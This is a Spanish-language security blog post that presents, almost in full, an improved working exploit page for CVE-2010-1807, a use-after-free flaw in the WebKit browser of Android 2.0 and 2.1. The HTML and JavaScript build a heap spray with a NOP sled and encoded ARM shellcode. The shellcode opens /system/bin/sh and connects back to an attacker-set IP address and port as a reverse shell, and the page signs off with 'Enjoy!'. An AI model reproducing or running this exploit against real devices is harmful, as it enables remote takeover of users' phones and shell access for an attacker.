Exploit contra webkit en Android 2.0 y 2.1

November 15, 2010
tuxotron
Android, Hacking, Seguridad

A continuación os dejo el listado del exploit, en este caso mejorado, que se difundió la semana pasada. El fallo se encuentra en el navegador que acompaña a Android, webkit. La versión 2.2 está libre de pecado, de momento...

<html>
<head>
<script>
//This code is only for security researches/teaching purposes,use at your own risk!
// bug   =  webkit remote code execution CVE-2010-1807 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807
//patched=  android 2.2, some said it works on some devices with 2.2.
//originally noticed/written by mj(good job man!)
//new exploit version by Itzhak Zuk Avraham (itz2000[AT]GMAIL[DOT]COM) - http://imthezuk.blogspot.com
var ip = unescape("\ua8c0\u0100"); // ip = 192.168.0.1
var port = unescape("\u3930"); //port 12345 (hex(0x3039))
//var ip = e.g: unescape("\u000a\u0202"); //ip = 10.0.2.2
function trigger()
{
var span = document.createElement(“div”);
document.getElementById(“BodyID”).appendChild(span);
span.innerHTML = -parseFloat(“NAN(ffffe00572c60)”); //trigger use-after-free
}
function exploit()
{
var nop = unescape("\u33bc\u0057"); //LDREQH R3,[R7],-0x3C for nopping
do
{
nop+=nop;
} while (nop.length<=0x1000);
var scode = nop+unescape("\u1001\ue1a0\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002");
scode += port;
scode += ip;
scode += unescape("\u2000\u2000");
target = new Array();
for(i = 0; i < 0x1000; i++)
target[i] = scode;
for (i = 0; i <= 0x1000; i++)
{
document.write(target[i]+"<i>");
if (i>0x999)
{
trigger();
}
}
}
</script>
</head>
<body id=“BodyID”>
Enjoy!
<script>
exploit();
</script>
</body>
</html>

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Exploit contra webkit en Android 2.0 y 2.1

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